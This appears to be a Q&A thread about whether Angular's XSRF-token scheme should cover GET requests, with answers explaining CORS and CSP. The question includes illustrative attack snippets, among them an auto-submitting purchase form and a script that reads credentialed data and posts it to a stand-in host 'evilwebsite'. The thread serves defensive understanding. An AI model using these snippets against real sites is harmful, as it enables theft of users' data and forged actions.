6

I have a REST API that allows authenticated users to read data about their own account and make changes to their accounts. For authentication I use JWTs stored as httpOnly cookies. To protect against CSRF attacks, the REST API also supplies the client with what Angular calls an "XSRF token".

Angular's method of CSRF protection is to take the XSRF token your API creates and re-submit it back to the API with each request in an "X-XSRF-Token" header. It's up to your API to determine whether to allow the request or not. A script running on a hostile website would not have access to the XSRF token and so would be unable to submit it along with any CSRF requests.

When I went to implement my front-end requests in Angular using HttpClient, I noticed that the HttpXsrfInterceptor doesn't send the X-XSRF-Token header with GET and HEAD requests.

From the opinions I've read online, CSRF protection is not needed for GET requests because they don't (or they shouldn't) modify any data. The most a CSRF attack could do with a GET request is have the REST API send sensitive data to the user's web browser. The hostile website wouldn't be able to see that data.

Example 1: CSRF GET

If a hostile website tries to issue a CSRF GET request like this:

<img src="https://example.com/sensitiveData">

then sensitive data is transmitted from the API to the user's web browser, but the hostile website can't see the data, so everything is fine.

Example 2: CSRF POST

If a hostile website tries to issue a CSRF POST request like this:

<body onLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
  <input type="hidden" name="itemId" value="34873847">
  <input type="submit" value="View Kittens">
</form>
...

then the hostile website still wouldn't see any data, but it could cause damage to a the user. If the API requires the X-XSRF-Token header to be present then this attack can not succeed.

Example 3: CSRF GET via Ajax

But what if the hostile website forces the browser to make a GET request like this:

<script>
$.ajax('https://example.com/sensitiveData', {
  xhrFields: {
    withCredentials: true,
  },
}).done((sensitiveData) => {
  $.ajax('https://evilwebsite/logData', {
    method: 'post',
    data: sensitiveData,
  }).done(() => {
    console.log('I stole your data', sensitiveData)
  });
});
</script>

Some CORS policies would stop this, but other CORS policies would still let it happen.

It seems that requiring CSRF protection on GET requests would mitigate this vulnerability.

Am I missing something important?

Dave
  • 170
  • 1
  • 7
  • 4
    Are you, perhaps, under the false impression that CORS policy is something not under your control? Setting a CORS policy to block those requests should be far easier than messing with CSRF tokens. (In fact, if you just do nothing the default CORS policy should work just fine.) – Ajedi32 Aug 17 '18 at 16:39
  • @Ajedi32 Good thing to bring up. I am setting CORS headers, but I was holding out the hope that I could essentially allow any website to interact with my REST API. – Dave Aug 17 '18 at 17:03
  • You certainly can do that if you want. If that's your plan though, then you wouldn't want to use CSRF tokens either since that would also prevent third-party sites from using your API. – Ajedi32 Aug 17 '18 at 17:50

1 Answers1

4

You are 100% correct on everything in your intro and examples 1 and 2.

Regarding example 3, CORS would kick in and block the script from receiving the result from example.com. The only way the given JavaScript would be able to read the response and send it off to evil.com is if one of the following conditions is met:

  1. This script is running on a domain that example.com has explicitly whitelisted via CORS headers and given it permission to use credentials
  2. The script is running directly on example.com (in which case you have fallen victim to an XSS attack, which is a serious problem).

Even in the event of #2 above you can prevent data from escaping to evil.com with a solid CSP (worth a Google if you are unfamiliar).

In short: This is the exact sort of attack that CORS is designed to protect against. Excepting the above items, CORS should block the response in all cases. So unless you have a specific example in which you believe CORS won't apply, I believe that your assertion that CORS might allow such requests through is incorrect.

Conor Mancone
  • 30,380
  • 13
  • 92
  • 98
  • The CORS setup I have been using during testing set `Access-Control-Allow-Credentials: true` but no "Access-Control-Allow-Origin" header. This allowed the attack. Since I cannot combine `Access-Control-Allow-Credentials: true` with `Access-Control-Allow-Origin: *`, my API would respond with `Access-Control-Allow-Origin: `. This would also allow the attack. It was originally my intention to allow anyone to interact with my REST API through their own websites. I'm not sure if this is feasible anymore. It seems feasible with CSRF protection on GET requests. – Dave Aug 17 '18 at 17:07
  • 1
    In essence it sounds like you are trying to disable CORS all together. It definitely isn't designed to do that. You might look into how Facebook and the like build their JavaScript widgets that let people comment on any website. That is effectively what you do. – Conor Mancone Aug 17 '18 at 17:15
  • 1
    One potential answer is to not use cookies for authentication. If you aren't using cookies then you can allow all origins in CORS and anyone can access your REST API willy-nilly. Of course you will have to find another way to store credentials. – Conor Mancone Aug 17 '18 at 17:17
  • @ConorMancone You can store authentication in the URL. I suppose Angular could automate that. – curiousguy Aug 17 '18 at 19:24